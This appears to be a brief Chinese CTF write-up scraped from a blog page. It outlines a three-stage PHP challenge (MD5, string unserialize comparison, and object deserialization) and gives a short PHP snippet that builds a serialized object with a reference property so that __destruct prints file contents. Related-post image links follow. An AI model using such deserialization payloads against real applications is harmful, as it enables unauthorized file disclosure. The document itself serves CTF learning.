一共有三小关
第一关：md5加密
第二关：反序列化
重点 单个字符串序列化 unserialize($str) === "$KEY"
<?php
$KEY="YES I love";
echo serialize($KEY);s:10:"YES I love";
第三关： 反序列化
把a的地址赋给b，因为在__destruct()中有echo，可以输出文件内容。
$c=new Clazz();
$c->b=&$c->a;
echo serialize($c);![[BJDCTF<span style='color:red;'>2020</span>]<span style='color:red;'>EzPHP</span><span style='color:red;'>1</span>](https://i-blog.csdnimg.cn/direct/02c21c5f67d5453b87823f0f16eaf4de.png)
[BJDCTF2020]EzPHP1
2024-05-13 19:54:07 21 阅读
![[BJDCTF<span style='color:red;'>2020</span>]----<span style='color:red;'>EzPHP</span>](https://img-blog.csdnimg.cn/direct/64d0fb647ef54a78a7b0eca3049ad617.png)
![关于ctf反序列化题的一些见解（[MRCTF<span style='color:red;'>2020</span>]<span style='color:red;'>Ezpop</span>以及[NISACTF <span style='color:red;'>2022</span>]babyserialize）](https://img-blog.csdnimg.cn/direct/15a60bd5ee1545f5917e2ad1e2e7cb29.png)
